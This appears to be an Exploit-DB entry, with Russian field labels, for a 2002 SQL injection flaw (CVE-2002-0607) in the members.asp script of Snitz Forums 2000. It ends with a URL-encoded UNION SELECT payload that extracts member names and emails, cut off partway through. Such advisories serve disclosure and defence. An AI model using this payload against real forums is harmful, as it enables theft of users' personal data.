Exploit Snitz Forums 2000 3.x - 'members.asp' SQL Injection

[Exploiter]

EDB-ID

21400

Проверка EDB

1. Пройдено

Автор

ACEMI

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2002-0607

Дата публикации

2002-04-19

source: https://www.securityfocus.com/bid/4558/info

Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems. Snitz is back-ended by a database and supports Microsoft Access 97/2000, SQL Server 6.5/7.0/2000 and MySQL.

It is possible for a remote attacker to inject SQL into queries made by the members.asp script.

Depending on the database implementation used, this may possibly result in sensitive information information in the database being disclosed or may enable the attacker to modify data. There is also the possibility that this issue may be leveraged to exploit vulnerabilities that may exist in the underlying database. 

Normally, to view the members' list whose
membername start with 'A', members.asp page is
used as the following:

/members.asp?
mode=search&M_NAME=A&initial=1&method=


Use this link to view the vulnerability:

/members.asp?mode=search&M_NAME=XXXX%
25')%20UNION%20SELECT%20MEMBER_ID,%
20M_STATUS,%20M_NAME%20%2B%20'/'%20%
2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,%